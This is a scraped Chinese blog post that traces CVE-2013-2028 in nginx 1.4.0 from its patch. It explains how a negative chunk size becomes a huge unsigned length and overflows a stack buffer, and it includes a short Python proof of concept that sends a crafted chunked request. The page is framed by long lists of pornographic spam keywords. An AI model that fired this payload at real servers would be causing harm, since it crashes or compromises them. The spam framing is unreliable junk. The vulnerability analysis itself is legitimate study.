日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

【安全漏洞】从补丁追溯漏洞触发路径

發布時間:2025/3/21 编程问答 31 豆豆
生活随笔 收集整理的這篇文章主要介紹了 【安全漏洞】从补丁追溯漏洞触发路径 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

背景

操作系統:ubuntu 18.04 64bit

漏洞軟件:nginx-1.4.0

【查看資料】

1. 漏洞補丁信息

從補丁可以認識一個漏洞的觸發源。

查看github中的補丁信息Fixed chunk size parsing. · nginx/nginx@818807d (github.com)如下:

if (ctx->size < 0 || ctx->length < 0) {goto invalid;}return rc;

可以看到補丁中在/src/http/ngx_http_parse.c的ngx_http_parse_chunked函數返回值中增加了對變量ctx->length和ctx->size的負值判斷

查看ctx變量的結構體定義,

struct ngx_http_chunked_s {ngx_uint_t state;off_t size;off_t length; };`在這里插入代碼片`

可以看到size和length的類型變量是off_t,而off_t對應了long int,是一個有符號的變量(記住這一點,很重要)。

2. 漏洞觸發路徑分析

從上一步中可以得到漏洞的根源在于/src/http/ngx_http_parse.c的ngx_http_parse_chunked函數,與負值的變量ctx->length和ctx->size有關,現在開始追蹤這兩個變量的后續流向。

2.1 漏洞復現
POC信息

從互聯網可以找到該漏洞的POC如下:

import sockethost = "127.0.0.1" ip='127.0.0.1'raw = '''GET / HTTP/1.1\r\nHost: %s\r\nTransfer-Encoding: chunked\r\nConnection: Keep-Alive\r\n\r\n''' % (host)s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip, 80))data1 = raw data1 += "f000000000000060" + "\r\n"print data1 s.send(data1)s.send("B" * 6000) s.close()

這個POC會發送兩次TCP請求數據,第一次是一個HTTP請求:

GET / HTTP/1.1 Host: 127.0.0.1 Transfer-Encoding: chunked Connection: Keep-Alivef000000000000060

第二次是一個超長的"B"字符串。

chunked HTTP請求

第一個HTTP請求的特殊之處在于這是一個分塊傳輸的請求。在請求體中,在每一個分塊的開頭需要添加當前分塊的長度,以十六進制的形式表示,后面緊跟著 ‘\r\n’ ,之后是分塊本身,后面也是’\r\n’

漏洞復現

在shell中找到nginx工作進程的pid,并使用gdb 掛載調試 ,并在patch函數下斷點。

osboxes@osboxes:~$ ps aux |grep nginx root 2081 0.0 0.0 21860 1908 ? Ss 11:14 0:00 nginx: master process ./nginx -c conf/nginx.conf nobody 7185 0.0 0.0 22256 2196 ? S 17:32 0:00 nginx: worker process osboxes 7406 0.0 0.0 14436 1008 pts/0 S+ 19:13 0:00 grep --color=auto nginx osboxes@osboxes:~$ sudo gdb -p 7185 pwndbg> b ngx_http_parse_chunked Breakpoint 1 at 0x5599fb464871: file src/http/ngx_http_parse.c, line 1974. pwndbg> c Continuing.

執行POC,并查看函數調用棧可以看到如下:

那我們就依照源碼來分析漏洞的觸發路徑

1.ngx_http_parse_chunked函數解析HTTP中的塊大小

查看ngx_http_parse_chunked函數,可以看到該函數的主要功能為解析HTTP請求體中的chunk信息。

ngx_int_t ngx_http_parse_chunked(ngx_http_request_t *r, ngx_buf_t *b,ngx_http_chunked_t *ctx) { ...state = ctx->state; ...rc = NGX_AGAIN; ...switch (state) {...case sw_chunk_size:if (ch >= '0' && ch <= '9') {ctx->size = ctx->size * 16 + (ch - '0');break;}c = (u_char) (ch | 0x20);if (c >= 'a' && c <= 'f') {ctx->size = ctx->size * 16 + (c - 'a' + 10);break;}...}data:switch (state) { ...case sw_chunk_data:ctx->length = ctx->size + 4 /* LF "0" LF LF */;break; ...return rc; ... }

當遇到HTTP請求體中的塊大小,即f000000000000060時,會將字符串解析為對應的十六進制數字,并保存在ctx->size中。注意,由于是有符號的,ctx的值是為負數的。之后ctx->size的值會賦值到ctx->lenth中,也就是:

ctx->lenth= ctx->size+4= parseLong('f000000000000060')+4= -1152921504606846880+4= -1152921504606846876

之后,函數返回,返回值為rc=NGX_AGIN

2.ngx_http_discard_request_body_filter將值進一步向上傳遞

根據返回值rc == NGX_AGAIN, 這個負值會進一步傳遞到r->headers_in.content_length_n 變量中,注意這也是一個off_t類型的,也就是它也是**負數。**也就是

r->headers_in.content_length_n = rb->chunked->length= -1152921504606846876

之后函數返回 ,返回值為NGX_OK。

3.ngx_http_discard_request_body簡單跳轉

在ngx_http_discard_request_body函數中, 控制流返回后進入到另一個子函數中。

4.ngx_http_read_discarded_request_body棧溢出

逃脫ngx_min檢查

在ngx_http_read_discard_request_body函數中本來是有長度范圍檢查ngx_min,但是正如我們前面所說的,長度為負數,所以這個檢查就被繞過了

size 被賦予超大值

在函數中size_t是一個無符號的long int, 這樣size就被意外的賦值為一個超大的數值。也就是

(size_t) size= r->headers_in.content_length_n= 17293822569102704740

recv 將超長的輸入寫入局部變量buffer

在解析size之后,nginx 會嘗試再次讀取輸入,

n = r->connection->recv(r->connection, buffer, size);

此時,系統會嘗試size=17293822569102704740大小的輸入寫入到局部變量buffer中,由此造成了棧溢出。

3. 漏洞路徑

4. 漏洞數據流

總結整理數據的流動方向如下圖:

總結

這個漏洞的原因在于,帶符號整數在轉為無符號數時會變為極大的值,從而導致nginx從socket中讀取了超長的值到局部變量中。

漏洞的觸發條件為三個:

參考:Nginx棧溢出分析 - CVE-2013-2028 - l3m0n - 博客園 (cnblogs.com)

關注我,持續更新!!!

私我獲取【網絡安全學習資料·攻略

總結

以上是生活随笔為你收集整理的【安全漏洞】从补丁追溯漏洞触发路径的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。

主站蜘蛛池模板: 国产人妻人伦精品1国产 | xxxwww国产 | 肉体粗喘娇吟国产91 | 蜜桃视频在线网站 | 日韩av影音先锋 | 中文字幕 人妻熟女 | 日本高清中文字幕 | 人妻少妇偷人精品久久久任期 | 三上悠亚 电影 | 成人av专区| 国产av无码国产av毛片 | 亚洲av日韩精品久久久久久久 | 国产欧美日韩中文字幕 | 日韩在线视屏 | 四虎国产成人精品免费一女五男 | 一区二区一级片 | 免费一级特黄 | 国产欧美日韩精品在线观看 | 久久曰视频 | 国产精品一品二品 | 青青草一区二区 | 欧美aⅴ视频 | 在线观看视频一区二区三区 | 91麻豆产精品久久久久久夏晴子 | 美女日批视频在线观看 | 日本美女性爱视频 | 亚洲男人的天堂在线 | 影音先锋成人资源 | 日韩中文字幕高清 | 国产三级伦理片 | 99视频一区 | 最新版天堂资源在线 | 精品久久一区二区 | 让男按摩师摸好爽视频 | 成年人免费在线看 | 日本不卡一区二区三区 | 精品黑人一区二区三区国语馆 | 四虎av网站| 欧美日韩高清在线观看 | 国产精品一区二区欧美 | 成人免费视频网站在线观看 | 午夜福利视频合集1000 | 欧美你懂得 | 国产成人精品久久 | 亚洲国产欧美日韩在线 | 日韩精品aaa | 成人av网址在线 | 日韩精品一区二区亚洲av观看 | 黄色大全免费观看 | 欧美视频网站 | 人妻av一区二区 | 传媒视频在线观看 | 久久久久久久久精 | 日韩h在线观看 | 秋霞自拍| 黄黄的网站 | 福利片在线看 | 1000部国产精品成人观看 | 五月婷婷在线视频 | 国产精品成人无码专区 | 国产伦精品视频一区二区三区 | 校园春色 亚洲色图 | 婷婷综合精品 | 欧美日韩中文国产一区发布 | 桃谷绘里香在线观看 | 国产美女无遮挡免费 | 五月天婷婷丁香 | 激情四射综合网 | 在线免费观看国产精品 | 国产精品ⅴa有声小说 | 国产精品一级片在线观看 | 日本视频免费观看 | www.一区二区三区四区 | 国模精品一区二区三区 | 激情欧美一区二区三区精品 | 亚洲成人自拍偷拍 | 国产精品第13页 | 大尺度做爰床戏呻吟舒畅 | 在线观看国产一区二区 | www.婷婷.com| 国产激情文学 | 国产一二三精品 | 日本毛片视频 | 色屁屁ts人妖系列二区 | 狼人精品一区二区三区在线 | 手机看片欧美 | 亚洲AV第二区国产精品 | 白浆一区| 四虎国产精品成人免费入口 | 亚洲一区二区不卡视频 | 国产乱叫456在线 | 中文在线www | 成年人福利网站 | 国产麻豆精品一区 | 一级片在线免费观看 | 99re6在线精品视频免费播放 | 中国亚洲老头同性gay男男… | 在线视频你懂得 | 丝袜亚洲综合 |